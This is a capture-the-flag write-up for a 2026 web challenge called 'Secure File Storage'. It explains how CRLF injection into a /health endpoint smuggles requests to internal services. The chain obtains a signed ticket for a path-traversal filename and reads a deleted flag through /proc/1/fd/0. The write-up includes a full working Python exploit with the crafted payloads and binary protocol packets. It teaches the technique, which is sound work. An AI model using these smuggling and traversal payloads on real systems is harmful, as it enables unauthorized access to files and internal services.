$cat secure-file-storage.mdWebHackultet 2026
Secure File Storage
A microservice architecture splits file access across an internal gateway, an oracle and a file server, each trusting the last. One CRLF injection into the only public entry point reaches all three.
$man secure-file-storage
What this one teaches:
- CRLF injection, smuggling a second request past a service that builds raw HTTP text from user input.
- That a filter on one code path (path traversal in
/files) is worthless if another path reaches the same backend without it. - Deleted files can still be open; a process that still holds a file descriptor to an unlinked file can still read it through /proc.
Task description
A file storage system split across four internal services.
The architecture
| Service | Port | Role |
|---|---|---|
| Flask app | 8000, external | The only thing a visitor can reach directly |
| Gateway | 9000, internal | Multiplexes plain HTTP and a custom binary protocol (FFU) to the right internal service |
| Oracle | 9001, internal | Issues HMAC-SHA256 signed tickets granting access to a named file |
| FFU service | behind the gateway, internal | Serves files from ./data/app/ once a valid ticket is presented |
To read a file, the Flask app asks the Oracle for a signed ticket, then presents that ticket to the FFU service over its own binary protocol. The public /files endpoint filters out .., / and \ from filenames, which would stop path traversal there, if that were the only way in.
Smuggling a second request
/health is the one public endpoint that talks to internal services directly. It accepts a JSON service field, and for any value it doesn’t recognise (not Front, FFU or Auth), it builds a raw HTTP request by hand and sends it to the gateway:
req = f"GET /status?name={target} HTTP/1.1\r\nHost: internal\r\nConnection: close\r\n\r\n"
s.sendall(req.encode('latin-1'))
Nothing sanitizes target before it lands in that string. A value containing its own \r\n sequences can close the intended request early and smuggle a second, completely different request right behind it, which the gateway will read and act on just the same. Encoding with latin-1 also lets through arbitrary byte values (0x00 through 0xFF), which matters for the next step.
Getting a ticket for a file outside the sandbox
The Oracle signs a ticket for whatever filename it’s asked for, with no allowlist and no path check. A smuggled request to its /ticket endpoint for ../../../proc/1/fd/0 gets signed exactly the same as a request for a legitimate file would. /files’s own filter never runs, because this path never goes through /files at all.
Getting the FFU service to serve it
The FFU service builds its file path as ./data/app/%s with whatever filename the ticket names, and does no traversal filtering of its own; the Flask-side filter was the only thing standing between a request and an arbitrary file, and it’s bypassed entirely by reaching FFU through the smuggled gateway connection. Speaking FFU’s own binary protocol (a magic header, a login packet, then a fetch packet carrying the filename, the ticket’s timestamp and its signature) over the same smuggled connection gets the file’s contents back.
Why /proc/1/fd/0 has the flag
The container starts with:
CMD ./start.sh < /flag.txt
and the first thing start.sh does is delete that file:
rm /flag.txt
On Linux, deleting a file only removes its directory entry; the underlying data stays as long as some process still has it open. The shell that’s PID 1 in this container opened /flag.txt as its own stdin before the rm ran, and that file descriptor is still live. /proc/1/fd/0 points at that still-open, otherwise-unlinked file, and reading it returns the flag even though ls would show nothing at /flag.txt any more.
The two smuggled requests
- Smuggle a request for a ticket on
../../../proc/1/fd/0through/health, and read the Oracle’s signature and timestamp back out of the response body. - Smuggle a second connection that speaks the FFU binary protocol directly, carrying that filename, timestamp and signature, and read the file content back out.
Both steps go through the same single public entry point, /health, chained with CRLF injection into a request that was never meant to carry anything but a service name.
The exploit
import re, struct, requests
TARGET = "http://chal.live.hackultet.hr:14005"
FILE = "../../../proc/1/fd/0"
# Step 1: smuggle a ticket request past /health
smuggle_ticket = (
'Auth HTTP/1.1\r\nHost: internal\r\n\r\n'
f'GET /ticket?file={FILE} HTTP/1.1\r\nHost: internal\r\n\r\n'
'GET /status?name='
)
r = requests.post(f'{TARGET}/health', json={'service': smuggle_ticket})
output = r.json()['output']
ticket = re.search(r'X-Internal-Ticket: ([a-f0-9]+)', output).group(1)
ts = re.search(r'X-Timestamp: ([0-9]+)', output).group(1)
# Step 2: smuggle the FFU binary protocol, carrying that ticket, through the same endpoint
magic = b'FFU\x01'
login = b'app'; pwd = b'app' # FFU accepts any credentials for this step
login_pkt = b'\x01' + struct.pack('>H', 1 + len(login) + 1 + len(pwd)) \
+ struct.pack('B', len(login)) + login + struct.pack('B', len(pwd)) + pwd
fname, ts_b, sig_b = FILE.encode(), ts.encode(), ticket.encode()
body = (struct.pack('>H', len(fname)) + fname
+ struct.pack('B', len(ts_b)) + ts_b
+ struct.pack('B', len(sig_b)) + sig_b)
fetch_pkt = b'\x03' + struct.pack('>H', len(body)) + body
ffu_data = (magic + login_pkt + fetch_pkt).decode('latin-1')
smuggle_ffu = 'Auth HTTP/1.1\r\nHost: internal\r\nConnection: close\r\n\r\n' + ffu_data
r2 = requests.post(f'{TARGET}/health', json={'service': smuggle_ffu})
flag = r2.json()['output'].split('Oracle Online"}')[1].strip()
print(flag) # CTF2026[313038464256]
The lesson underneath the chain
A single missing sanitization call on service reached every internal service behind it. The filename filter on /files was real protection, for the one path that used it; it meant nothing once a different, unfiltered route to the same backend existed.
$cat flag.txt reveal
CTF2026[313038464256]